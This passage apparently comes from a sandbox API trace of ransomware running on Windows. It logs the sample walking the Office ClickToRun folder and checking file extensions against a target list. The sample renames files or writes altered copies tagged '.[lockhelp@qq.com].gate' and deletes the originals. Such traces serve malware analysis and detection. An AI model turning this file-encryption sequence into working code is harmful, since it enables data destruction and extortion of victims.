shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 1 [0321.230] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0321.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0321.231] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[lockhelp@qq.com].gate"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 1 [0321.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0321.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0321.231] lstrlenW (lpString=".doc") returned 4 [0321.231] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.231] lstrlenW (lpString=".docx") returned 5 [0321.231] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0321.231] lstrlenW (lpString=".pdf") returned 4 [0321.231] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.231] lstrlenW (lpString=".xls") returned 4 [0321.231] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.231] lstrlenW (lpString=".xlsx") returned 5 [0321.231] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0321.231] lstrlenW (lpString=".ppt") returned 4 [0321.231] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0321.231] lstrlenW (lpString=".zip") returned 4 [0321.232] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.232] lstrlenW (lpString=".rar") returned 4 [0321.232] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.232] lstrlenW (lpString=".bz2") returned 4 [0321.232] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.232] lstrlenW (lpString=".7z") returned 3 [0321.232] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0321.232] lstrlenW (lpString=".dbf") returned 4 [0321.232] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0321.232] lstrlenW (lpString=".1cd") returned 4 [0321.232] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0321.232] lstrlenW (lpString=".jpg") returned 4 [0321.232] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0321.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0321.232] lstrlenW (lpString=".doc") returned 4 [0321.232] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.232] lstrlenW (lpString=".docx") returned 5 [0321.232] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0321.233] lstrlenW (lpString=".pdf") returned 4 [0321.233] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.233] lstrlenW (lpString=".xls") returned 4 [0321.233] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.233] lstrlenW (lpString=".xlsx") returned 5 [0321.233] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0321.233] lstrlenW (lpString=".ppt") returned 4 [0321.233] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0321.233] lstrlenW (lpString=".zip") returned 4 [0321.233] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.233] lstrlenW (lpString=".rar") returned 4 [0321.233] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.233] lstrlenW (lpString=".bz2") returned 4 [0321.233] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.233] lstrlenW (lpString=".7z") returned 3 [0321.233] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0321.233] lstrlenW (lpString=".dbf") returned 4 [0321.233] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0321.233] lstrlenW (lpString=".1cd") returned 4 [0321.233] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0321.234] lstrlenW (lpString=".jpg") returned 4 [0321.234] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.234] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0321.234] lstrlenW (lpString="mso40uiwin32client.dll") returned 22 [0321.234] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0321.234] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=9330784) returned 1 [0321.234] CloseHandle (hObject=0x358) returned 1 [0321.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 0x20 [0321.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.234] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 1 [0321.235] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0321.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0321.235] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[lockhelp@qq.com].gate"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 1 [0321.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0321.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0321.236] lstrlenW (lpString=".doc") returned 4 [0321.236] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.236] lstrlenW (lpString=".docx") returned 5 [0321.236] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0321.236] lstrlenW (lpString=".pdf") returned 4 [0321.236] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.236] lstrlenW (lpString=".xls") returned 4 [0321.236] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.236] lstrlenW (lpString=".xlsx") returned 5 [0321.236] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0321.236] lstrlenW (lpString=".ppt") returned 4 [0321.236] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0321.236] lstrlenW (lpString=".zip") returned 4 [0321.236] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.236] lstrlenW (lpString=".rar") returned 4 [0321.236] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.236] lstrlenW (lpString=".bz2") returned 4 [0321.237] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.237] lstrlenW (lpString=".7z") returned 3 [0321.237] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0321.237] lstrlenW (lpString=".dbf") returned 4 [0321.237] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0321.237] lstrlenW (lpString=".1cd") returned 4 [0321.237] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0321.237] lstrlenW (lpString=".jpg") returned 4 [0321.237] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0321.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0321.237] lstrlenW (lpString=".doc") returned 4 [0321.237] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.237] lstrlenW (lpString=".docx") returned 5 [0321.237] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0321.237] lstrlenW (lpString=".pdf") returned 4 [0321.237] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.237] lstrlenW (lpString=".xls") returned 4 [0321.237] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.237] lstrlenW (lpString=".xlsx") returned 5 [0321.237] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0321.237] lstrlenW (lpString=".ppt") returned 4 [0321.237] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0321.237] lstrlenW (lpString=".zip") returned 4 [0321.238] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.238] lstrlenW (lpString=".rar") returned 4 [0321.238] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.238] lstrlenW (lpString=".bz2") returned 4 [0321.238] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.238] lstrlenW (lpString=".7z") returned 3 [0321.238] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0321.238] lstrlenW (lpString=".dbf") returned 4 [0321.238] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0321.238] lstrlenW (lpString=".1cd") returned 4 [0321.238] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0321.238] lstrlenW (lpString=".jpg") returned 4 [0321.238] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.238] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0321.238] lstrlenW (lpString="msointl30.en-us.dll") returned 19 [0321.238] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0321.239] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=61024) returned 1 [0321.239] CloseHandle (hObject=0x358) returned 1 [0321.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 0x20 [0321.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.239] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0321.239] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.239] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.239] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0321.239] GetLastError () returned 0x0 [0321.240] ReadFile (in: hFile=0x358, lpBuffer=0x4286020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesRead=0x38cfecc*=0xee60, lpOverlapped=0x0) returned 1 [0321.324] WriteFile (in: hFile=0x388, lpBuffer=0x4286020*, nNumberOfBytesToWrite=0xee70, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesWritten=0x38cfc94*=0xee70, lpOverlapped=0x0) returned 1 [0321.326] ReadFile (in: hFile=0x358, lpBuffer=0x4286020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0321.326] WriteFile (in: hFile=0x388, lpBuffer=0x4286020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesWritten=0x38cfc94*=0xfa, lpOverlapped=0x0) returned 1 [0321.326] SetEndOfFile (hFile=0x388) returned 1 [0321.417] CloseHandle (hObject=0x388) returned 1 [0321.417] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.417] SetEndOfFile (hFile=0x358) returned 1 [0321.418] CloseHandle (hObject=0x358) returned 1 [0321.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0321.419] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 1 [0321.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0321.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0321.419] lstrlenW (lpString=".doc") returned 4 [0321.419] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.419] lstrlenW (lpString=".docx") returned 5 [0321.419] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0321.419] lstrlenW (lpString=".pdf") returned 4 [0321.419] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.419] lstrlenW (lpString=".xls") returned 4 [0321.419] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.419] lstrlenW (lpString=".xlsx") returned 5 [0321.419] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0321.419] lstrlenW (lpString=".ppt") returned 4 [0321.419] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0321.419] lstrlenW (lpString=".zip") returned 4 [0321.419] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.419] lstrlenW (lpString=".rar") returned 4 [0321.419] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.419] lstrlenW (lpString=".bz2") returned 4 [0321.419] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.420] lstrlenW (lpString=".7z") returned 3 [0321.420] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0321.420] lstrlenW (lpString=".dbf") returned 4 [0321.420] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0321.420] lstrlenW (lpString=".1cd") returned 4 [0321.420] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0321.420] lstrlenW (lpString=".jpg") returned 4 [0321.420] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0321.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0321.420] lstrlenW (lpString=".doc") returned 4 [0321.420] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.420] lstrlenW (lpString=".docx") returned 5 [0321.420] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0321.420] lstrlenW (lpString=".pdf") returned 4 [0321.420] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.420] lstrlenW (lpString=".xls") returned 4 [0321.420] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.420] lstrlenW (lpString=".xlsx") returned 5 [0321.420] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0321.420] lstrlenW (lpString=".ppt") returned 4 [0321.420] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0321.420] lstrlenW (lpString=".zip") returned 4 [0321.420] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.421] lstrlenW (lpString=".rar") returned 4 [0321.421] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.421] lstrlenW (lpString=".bz2") returned 4 [0321.421] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.421] lstrlenW (lpString=".7z") returned 3 [0321.421] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0321.421] lstrlenW (lpString=".dbf") returned 4 [0321.421] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0321.421] lstrlenW (lpString=".1cd") returned 4 [0321.421] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0321.421] lstrlenW (lpString=".jpg") returned 4 [0321.421] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.421] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0321.421] lstrlenW (lpString="vccorlib140.dll") returned 15 [0321.421] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0321.422] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=390320) returned 1 [0321.422] CloseHandle (hObject=0x358) returned 1 [0321.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 0x20 [0321.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0321.422] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.422] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0321.423] GetLastError () returned 0x0 [0321.423] ReadFile (in: hFile=0x358, lpBuffer=0x4286020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesRead=0x38cfecc*=0x5f4b0, lpOverlapped=0x0) returned 1 [0321.765] WriteFile (in: hFile=0x388, lpBuffer=0x4286020*, nNumberOfBytesToWrite=0x5f4c0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesWritten=0x38cfc94*=0x5f4c0, lpOverlapped=0x0) returned 1 [0321.770] ReadFile (in: hFile=0x358, lpBuffer=0x4286020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0321.770] WriteFile (in: hFile=0x388, lpBuffer=0x4286020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesWritten=0x38cfc94*=0xf2, lpOverlapped=0x0) returned 1 [0321.771] SetEndOfFile (hFile=0x388) returned 1 [0321.771] CloseHandle (hObject=0x388) returned 1 [0321.771] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.771] SetEndOfFile (hFile=0x358) returned 1 [0321.774] CloseHandle (hObject=0x358) returned 1 [0321.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0321.774] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 1 [0321.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0321.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0321.775] lstrlenW (lpString=".doc") returned 4 [0321.775] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.775] lstrlenW (lpString=".docx") returned 5 [0321.775] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0321.775] lstrlenW (lpString=".pdf") returned 4 [0321.775] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.775] lstrlenW (lpString=".xls") returned 4 [0321.775] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.775] lstrlenW (lpString=".xlsx") returned 5 [0321.775] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0321.775] lstrlenW (lpString=".ppt") returned 4 [0321.775] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0321.775] lstrlenW (lpString=".zip") returned 4 [0321.775] lstrcmpiW (lpString1=".zip", 